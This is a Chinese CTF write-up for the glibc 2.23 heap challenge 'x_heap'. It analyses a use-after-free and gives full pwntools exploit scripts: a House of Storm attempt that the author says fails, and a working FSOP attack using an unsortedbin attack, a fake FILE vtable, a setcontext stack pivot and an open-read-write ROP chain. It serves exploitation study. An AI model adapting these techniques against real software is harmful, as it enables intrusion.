0%

FSOP+Unsortedbin attack+堆上ORW

x_heap

1
2
3
4
5
6
➜  桌面 ./chall                                  
1.add
2.delete
3.edit
4.show
>
1
2
3
4
5
6
7
 chall: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a9ca4e5f4f591a5343f4c0d406006bde41b14d38, stripped                             
[*] '/home/yhellow/\xe6\xa1\x8c\xe9\x9d\xa2/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

64位,dynamically,全开

1
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11) stable release versio
1
2
3
4
5
6
7
8
9
10
11
➜  桌面 seccomp-tools dump ./chall 
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned __int64 delete()
{
int index; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("which chunk you want to delete?");
scanf("%d", &index);
if ( index < 0 || index > 7 )
{
puts("index error.");
}
else if ( chunk_list[index] )
{
free((void *)chunk_list[index]); // UAF
puts("delete success.");
}
return __readfsqword(0x28u) ^ v2;
}

申请模块:UAF漏洞,但这也意味着我们只能申请8个chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
unsigned __int64 edit()
{
int index; // [rsp+4h] [rbp-Ch] BYREF 似乎可以溢出
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
if ( edit_chance ) // 只能修改两次
{
puts("which chunk you want to edit?");
scanf("%d", &index);
if ( index < 0 || index > 7 ) // 限制index
{
puts("index error.");
}
else if ( chunk_list[index] )
{
puts("content:");
read(0, (void *)chunk_list[index], size_list[index]);
puts("edit success.");
--edit_chance;
}
}
else
{
puts("You can only edit twice.");
}
return __readfsqword(0x28u) ^ v2;
}

修改模块:index 采用“int”类型,可以为负数(同时用整数溢出逃避检查)

入侵思路

程序限制点:

  • 程序开了沙盒(掐掉了 execve),那么就只能打 ORW
  • 申请模块限制了“size”大小,只能申请 largechunk
  • 申请模块只能执行8次
  • 修改模块和释放模块都只能执行2次

因为有UAF,所以 leak libc_base 很好办:

1
2
3
4
5
6
7
8
9
10
add(0x410,'aaaa')
add(0x410,'aaaa')
delete(0)
show(0)

p.recvuntil('content:\n')
leak_addr=u64(p.recv(6).ljust(8,'\x00'))
libc_base=leak_addr-0x3c4b78
success('leak_addr >> '+hex(leak_addr))
success('libc_base >> '+hex(libc_base))

接下来试试看 House Of Storm(这里我重新调整了一下 leak 的代码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
add(0x428,'aaaa')#0(unsorted)
add(0x428,'aaaa')#1
add(0x418,'aaaa')#2(large)
add(0x418,'aaaa')#3
delete(2)
delete(0)
show(2)

p.recvuntil('content:\n')
leak_addr=u64(p.recv(6).ljust(8,'\x00'))
libc_base=leak_addr-0x3c4b78
success('leak_addr >> '+hex(leak_addr))
success('libc_base >> '+hex(libc_base))

main_arena=libc_base+3952488
free_hook=libc_base+libc.sym['__free_hook']
success('free_hook >> '+hex(free_hook))

add(0x428,'aaaa')#4(unsorted)
delete(4)
1
2
3
4
unsortedbin
all: 0x564cc7b72540 —▸ 0x7f2f65fd4b78 (main_arena+88) ◂— 0x564cc7b72540
largebins
0x400: 0x564cc7b72da0 —▸ 0x7f2f65fd4f68 (main_arena+1096) ◂— 0x564cc7b72da0

接下来就要进行修改:

  • unsorted_chunk->BK => fake_chunk
  • large_chunk->BK => fake_chunk+8
  • large_chunk->BK_nextsize => fake_chunk-0x18-5

刚好用完程序的两次修改机会:

1
2
3
4
5
6
7
8
9
main_arena1=libc_base+3951480
main_arena2=libc_base+3952488
payload1=p64(main_arena1)+p64(free_hook)
payload2=p64(main_arena2)+p64(free_hook+8)+p64(0)+p64(free_hook-0x18-5)

edit(0,payload1)
edit(2,payload2)

add(0x400,one_gadget)

这里我其实想偷懒,试试看不伪造 large_chunk->FD_nextsize 可不可行,结果报错了,只好老老实实泄露 heap_base 了

完成攻击后还是报错了(想不明白为什么),先挂一下 House Of Storm 的代码,以后熟悉 House Of Storm 了再慢慢看:(这个题目是开了沙盒的,所以用“one_gadget”肯定不行,但我这里懒得改了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *

p=process('./chall')
libc=ELF('./libc-2.23.so')
elf=ELF('./chall')

#context.log_level = 'debug'

def add(size,content): # 0x410 ~ 0xa9be
p.sendlineafter('> ',str(1))
p.sendlineafter('size:\n',str(size))
p.sendafter('content:\n',content)

def delete(index):
p.sendlineafter('> ',str(2))
p.sendlineafter('which chunk you want to delete?\n',str(index))

def edit(index,content):
p.sendlineafter('> ',str(3))
p.sendlineafter('which chunk you want to edit?\n',str(index))
p.sendafter('content:\n',content)

def show(index):
p.sendlineafter('> ',str(4))
p.sendlineafter('which chunk you want to show?\n',str(index))

#gdb.attach(p)

add(0x428,'aaaa')#0(unsorted)
add(0x428,'aaaa')#1
add(0x418,'aaaa')#2(large)
add(0x418,'aaaa')#3
delete(2)
delete(0)

show(2)
p.recvuntil('content:\n')
leak_addr=u64(p.recv(6).ljust(8,'\x00'))
libc_base=leak_addr-0x3c4b78
success('leak_addr >> '+hex(leak_addr))
success('libc_base >> '+hex(libc_base))

main_arena=libc_base+3952488
free_hook=libc_base+libc.sym['__free_hook']
malloc_hook=libc_base+libc.sym['__malloc_hook']
one_gadget_list=[0x45226,0x4527a,0xf03a4,0xf1247]
one_gadget=one_gadget_list[2]+libc_base
success('free_hook >> '+hex(free_hook))
success('malloc_hook >> '+hex(malloc_hook))

show(0)
p.recvuntil('content:\n')
leak_addr=u64(p.recv(6).ljust(8,'\x00'))
heap_base=leak_addr-3488
success('leak_addr >> '+hex(leak_addr))
success('heap_base >> '+hex(heap_base))

add(0x428,'aaaa')#4(unsorted)
delete(4)

main_arena1=libc_base+3951480
main_arena2=libc_base+3952488
heap_addr=heap_base+3488
payload1=p64(main_arena1)+p64(malloc_hook)
payload2=p64(main_arena2)+p64(malloc_hook+8)+p64(heap_addr)+p64(malloc_hook-0x18-5)

edit(0,payload1)
edit(2,payload2)
add(0x410,one_gadget)

p.interactive()

学长说这个题要用 FSOP 来打,刚好前几天整理的 IO pwn 中就有 FSOP,当时还没有进行题目练习,可以用这个题来练练手

以下代码就是我的第一次尝试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
from pwn import *

p=process('./chall')
libc=ELF('./libc-2.23.so')
elf=ELF('./chall')

#context.log_level = 'debug'
context.arch = "amd64"

def add(size,content): # 0x410 ~ 0xa9be
p.sendlineafter('> ',str(1))
p.sendlineafter('size:\n',str(size))
p.sendafter('content:\n',content)

def delete(index):
p.sendlineafter('> ',str(2))
p.sendlineafter('which chunk you want to delete?\n',str(index))

def edit(index,content):
p.sendlineafter('> ',str(3))
p.sendlineafter('which chunk you want to edit?\n',str(index))
p.sendafter('content:\n',content)

def show(index):
p.sendlineafter('> ',str(4))
p.sendlineafter('which chunk you want to show?\n',str(index))

#gdb.attach(p)
add(0x6b0,'hehehehe')#0
add(0x428,'./flag\x00')#1
delete(0)

show(0)
p.recvuntil('content:\n')
leak_addr=u64(p.recv(6).ljust(8,'\x00'))
libc_base=leak_addr-0x3c4b78
success('leak_addr >> '+hex(leak_addr))
success('libc_base >> '+hex(libc_base))

main_arena=libc_base+3952488
system_libc=libc_base+libc.sym['system']
free_hook=libc_base+libc.sym['__free_hook']
malloc_hook=libc_base+libc.sym['__malloc_hook']
io_list_all=libc_base+libc.sym['_IO_list_all']
one_gadget_list=[0x45226,0x4527a,0xf03a4,0xf1247]
one_gadget=one_gadget_list[2]+libc_base
success('free_hook >> '+hex(free_hook))
success('malloc_hook >> '+hex(malloc_hook))
success('io_list_all >> '+hex(io_list_all))

add(0x428,'a'*0x10)#2
show(2)

p.recvuntil('content:\n')
p.recvuntil('a'*16)
leak_addr=u64(p.recv(6).ljust(8,'\x00'))
heap_base=leak_addr-1344
success('leak_addr >> '+hex(leak_addr))
success('heap_base >> '+hex(heap_base))

pop_rax_ret=libc_base+0x000000000003a738
pop_rdi_ret=libc_base+0x0000000000021112
pop_rsi_ret=libc_base+0x00000000000202f8
pop_rdx_ret=libc_base+0x0000000000001b92
syscall_ret=libc_base+0x00000000000bc3f5

bss_addr=heap_base+0x18
flag_addr=heap_base+3088

# open(flag_addr,0)
orw = p64(pop_rax_ret) + p64(2)
orw += p64(pop_rdi_ret) + p64(flag_addr)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rdx_ret) + p64(0)
orw += p64(syscall_ret)
# read(3,bss_addr,0x60)
orw += p64(pop_rax_ret) + p64(0)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rsi_ret) + p64(bss_addr)
orw += p64(pop_rdx_ret) + p64(0x60)
orw += p64(syscall_ret)
# write(1,bss_addr,0x60)
orw += p64(pop_rax_ret) + p64(1)
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(pop_rsi_ret) + p64(bss_addr)
orw += p64(pop_rdx_ret) + p64(0x60)
orw += p64(syscall_ret)

fake_file = '/bin/sh\x00'+p64(0x61)
fake_file += p64(0)+p64(io_list_all-0x10)
fake_file += p64(0) + p64(1)
fake_file = fake_file.ljust(0xc0,'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap_base+1360) # 这里指向 orw_addr-24 的位置

payload=p64(0)*3 + orw

payload= payload.ljust(0x420-0x10,'\x00')
payload= payload + fake_file

delete(2)
add(0x410,'aaaa')#3

edit(0,payload) # 确保此时unsortedbin中只有目标chunk

p.sendlineafter('> ',str(1))
p.sendlineafter('size:\n',str(1040))

p.interactive()

先说一下我的思路吧:

  • 我先想到了 house of orange 后半节的 FSOP 攻击,于是进行了模仿
  • 用 unsortedbin attack 在 io_list_all 上写入 main_arena + 88
  • 在利用堆风水,成功构造出 heap overlappling,改写 unsorted chunk-> size 为“0x61”
  • 那么程序就将会把 unsorted chunk 识别为 small chunk,并且会把其当做 FILE 结构体
  • 接下来就在 fake small chunk 中伪造 FILE 结构体,把 vtable 字段写入 ORW 的地址

需要注意的地方:

  • 堆风水是关键,需要先申请一个大chunk,释放掉,然后再次申请它(这次申请的size要小一些),这样就可以造成堆溢出
  • 其次就是伪造 FILE 结构体的时候,需要保证 unsortedbin 中只有一个chunk(这个chunk将会被修改“size”),不然就会报错
  • 当成功劫持 io_list_all 后,会执行 fake vtable 中的 _IO_OVERFLOW(详情请了解FSOP),可以把它覆盖为我们需要执行的任何函数,而它会把“fake small chunk-> presize”当成它的第一个参数(我直接在这里写上了“/bin/sh”)

但这个exp有很明显的问题:

  • ORW链是写在堆上的,根本控制不了栈上的数据(我当时竟然没有发现?!)

接下来就需要利用 setcontext 来控制 RSP 了,先看看 setcontext 的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
.text:0000000000047B40 ; __unwind {
.text:0000000000047B40 push rdi
.text:0000000000047B41 lea rsi, [rdi+128h] ; nset
.text:0000000000047B48 xor edx, edx ; oset
.text:0000000000047B4A mov edi, 2 ; how
.text:0000000000047B4F mov r10d, 8 ; sigsetsize
.text:0000000000047B55 mov eax, 0Eh
.text:0000000000047B5A syscall ; LINUX - sys_rt_sigprocmask
.text:0000000000047B5C pop rdi
.text:0000000000047B5D cmp rax, 0FFFFFFFFFFFFF001h
.text:0000000000047B63 jnb short loc_47BC0
.text:0000000000047B65 mov rcx, [rdi+0E0h]
.text:0000000000047B6C fldenv byte ptr [rcx]
.text:0000000000047B6E ldmxcsr dword ptr [rdi+1C0h]
.text:0000000000047B75 mov rsp, [rdi+0A0h] // target
.text:0000000000047B7C mov rbx, [rdi+80h]
.text:0000000000047B83 mov rbp, [rdi+78h]
.text:0000000000047B87 mov r12, [rdi+48h]
.text:0000000000047B8B mov r13, [rdi+50h]
.text:0000000000047B8F mov r14, [rdi+58h]
.text:0000000000047B93 mov r15, [rdi+60h]
.text:0000000000047B97 mov rcx, [rdi+0A8h]
.text:0000000000047B9E push rcx
.text:0000000000047B9F mov rsi, [rdi+70h]
.text:0000000000047BA3 mov rdx, [rdi+88h]
.text:0000000000047BAA mov rcx, [rdi+98h]
.text:0000000000047BB1 mov r8, [rdi+28h]
.text:0000000000047BB5 mov r9, [rdi+30h]
.text:0000000000047BB9 mov rdi, [rdi+68h]
.text:0000000000047BB9 ; } // starts at 47B40
.text:0000000000047BBD ; __unwind {
.text:0000000000047BBD xor eax, eax
.text:0000000000047BBF retn

注意这一句:

1
mov     rsp, [rdi+0A0h]

发现这个函数可以根据 rdi 来控制 rsp ,而 rdi 可以被我们控制

但也需要注意这两句:

1
2
.text:0000000000047B97                 mov     rcx, [rdi+0A8h]
.text:0000000000047B9E push rcx

这个 push 会扰乱我们的ROP链,把 rcx 作为新的栈顶(这里坑了我好多次)

不多说了,先看看代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
from pwn import *

p=process('./chall')
libc=ELF('./libc-2.23.so')
elf=ELF('./chall')

#context.log_level = 'debug'
context.arch = "amd64"

def add(size,content): # 0x410 ~ 0xa9be
p.sendlineafter('> ',str(1))
p.sendlineafter('size:\n',str(size))
p.sendafter('content:\n',content)

def delete(index):
p.sendlineafter('> ',str(2))
p.sendlineafter('which chunk you want to delete?\n',str(index))

def edit(index,content):
p.sendlineafter('> ',str(3))
p.sendlineafter('which chunk you want to edit?\n',str(index))
p.sendafter('content:\n',content)

def show(index):
p.sendlineafter('> ',str(4))
p.sendlineafter('which chunk you want to show?\n',str(index))

#gdb.attach(p)
add(0x6b0,'hehehehe')#0
add(0x428,'./flag\x00')#1
delete(0)

show(0)
p.recvuntil('content:\n')
leak_addr=u64(p.recv(6).ljust(8,'\x00'))
libc_base=leak_addr-0x3c4b78
success('leak_addr >> '+hex(leak_addr))
success('libc_base >> '+hex(libc_base))

main_arena=libc_base+3952488
system_libc=libc_base+libc.sym['system']
free_hook=libc_base+libc.sym['__free_hook']
malloc_hook=libc_base+libc.sym['__malloc_hook']
io_list_all=libc_base+libc.sym['_IO_list_all']
setcontext=libc_base+libc.sym['setcontext']
one_gadget_list=[0x45226,0x4527a,0xf03a4,0xf1247]
one_gadget=one_gadget_list[2]+libc_base
success('free_hook >> '+hex(free_hook))
success('malloc_hook >> '+hex(malloc_hook))
success('io_list_all >> '+hex(io_list_all))
success('setcontext >> '+hex(setcontext))

add(0x428,'a'*0x10)#2
show(2)

p.recvuntil('content:\n')
p.recvuntil('a'*16)
leak_addr=u64(p.recv(6).ljust(8,'\x00'))
heap_base=leak_addr-1344
success('leak_addr >> '+hex(leak_addr))
success('heap_base >> '+hex(heap_base))

pop_rax_ret=libc_base+0x000000000003a738
pop_rdi_ret=libc_base+0x0000000000021112
pop_rsi_ret=libc_base+0x00000000000202f8
pop_rdx_ret=libc_base+0x0000000000001b92
syscall_ret=libc_base+0x00000000000bc3f5

bss_addr=heap_base+0x18
flag_addr=heap_base+3088
orw_addr=heap_base+1392

# open(flag_addr,0)
orw = p64(pop_rax_ret) + p64(2)
orw += p64(pop_rdi_ret) + p64(flag_addr)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rdx_ret) + p64(0)
orw += p64(syscall_ret)
# read(3,bss_addr,0x60)
orw += p64(pop_rax_ret) + p64(0)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rsi_ret) + p64(bss_addr)
orw += p64(pop_rdx_ret) + p64(0x60)
orw += p64(syscall_ret)
# write(1,bss_addr,0x60)
orw += p64(pop_rax_ret) + p64(1)
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(pop_rsi_ret) + p64(bss_addr)
orw += p64(pop_rdx_ret) + p64(0x60)
orw += p64(syscall_ret)

frame_rsp=orw_addr+8
frame_rcx=pop_rax_ret
frame = p64(frame_rsp) #rdi+0xA0
frame += p64(frame_rcx) #rdi+0xA8

fake_file = '/bin/sh\x00'+p64(0x61)
fake_file += p64(0)+p64(io_list_all-0x10)
fake_file += p64(0) + p64(1)
fake_file = fake_file.ljust(0xa0,'\x00')
fake_file += p64(frame_rsp) #rdi+0xA0
fake_file += p64(frame_rcx) #rdi+0xA8
fake_file = fake_file.ljust(0xc0,'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap_base+1360)

payload=p64(0)*3 + p64(setcontext+53) + orw
payload= payload.ljust(0x420-0x10,'\x00')
payload= payload+fake_file

delete(2)
add(0x410,'aaaa')#3
edit(0,payload)

p.sendlineafter('> ',str(1))
p.sendlineafter('size:\n',str(1040))

p.interactive()

这里说明一下 setcontext 的使用:

这里我选择把 setcontext 写入 fake vtable->_IO_OVERFLOW 中 ,执行 setcontext 时,rdi 寄存器就会指向“fake small chunk-> presize”所在的地址,而我提前在 rdi+0xa0rdi+0xa8 的位置布置好 fake rspfake rcx

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> telescope 0x55b7807e5960
00:00000x55b7807e5960 ◂— 0x68732f6e69622f /* '/bin/sh' */
01:00080x55b7807e5968 ◂— 0x61 /* 'a' */
02:00100x55b7807e5970 ◂— 0x0
03:00180x55b7807e5978 —▸ 0x7f11a54eb510 ◂— 0x0
04:00200x55b7807e5980 ◂— 0x0
05:00280x55b7807e5988 ◂— 0x1
06:00300x55b7807e5990 ◂— 0x0
07:00380x55b7807e5998 ◂— 0x0
08:00400x55b7807e59a0 ◂— 0x0
... ↓ 7 skipped
10:00800x55b7807e59e0 ◂— 0x0
... ↓ 3 skipped
14:00a0│ 0x55b7807e5a00 —▸ 0x55b7807e5578 ◂— 0x2 // rdi+0xa0
15:00a8│ 0x55b7807e5a08 —▸ 0x7f11a5160738 (mblen+104) ◂— pop rax // rdi+0xa8
16:00b0│ 0x55b7807e5a10 ◂— 0x0
17:00b8│ 0x55b7807e5a18 ◂— 0x0
18:00c0│ 0x55b7807e5a20 ◂— 0x0
... ↓ 2 skipped
1b:00d8│ 0x55b7807e5a38 —▸ 0x55b7807e5550 ◂— 0x0 // fake vtable addr
1
2
3
4
5
6
7
8
9
10
11
pwndbg> telescope 0x55b7807e5550 // fake vtable addr
00:00000x55b7807e5550 ◂— 0x0
... ↓ 2 skipped
03:00180x55b7807e5568 —▸ 0x7f11a516db85 (setcontext+53) ◂— mov rsp, qword ptr [rdi + 0xa0] // fake vtable -> _IO_OVERFLOW
04:00200x55b7807e5570 —▸ 0x7f11a5160738 (mblen+104) ◂— pop rax
05:00280x55b7807e5578 ◂— 0x2
06:00300x55b7807e5580 —▸ 0x7f11a5147112 (iconv+194) ◂— pop rdi
07:00380x55b7807e5588 —▸ 0x55b7807e5c10 ◂— 0x67616c662f2e /* './flag' */
08:00400x55b7807e5590 —▸ 0x7f11a51462f8 (init_cacheinfo+40) ◂— pop rsi
09:00480x55b7807e5598 ◂— 0x0
0a:00500x55b7807e55a0 —▸ 0x7f11a5127b92 ◂— pop rdx

现在 rsp 将会指向 fake vtable -> _IO_OVERFLOW(ORW的头部),之后就可以顺利读出 flag 了


小结

这个题目花了我很长的时间,我也学习到了 FSOP,堆上ORW,甚至是 House Of Storm(虽然没有成功)

在进行 FSOP 时,我的堆布局前前后后被改了十几次,因为这是我第一次尝试 FSOP 没有什么经验,所以我所有的操作都是以 House Of Orange 为模板进行修改的,当时很苦恼,因为报错了也不知道原因,只能盲目的模仿,好在最后还是模仿出来了

进行FSOP攻击后,我可以执行libc中的函数,但就是执行不了我的ORW链,后来发现我把ORW链写在堆中,需要栈迁移来调整栈空间,最后在学长的帮助下我了解到了 setcontext 函数,分析其源码过后,成功利用它执行了ORW链

PS:其实最开始我以为这题需要用到 largebin attack 的知识(比如:House Of Storm),所以我也去学了一下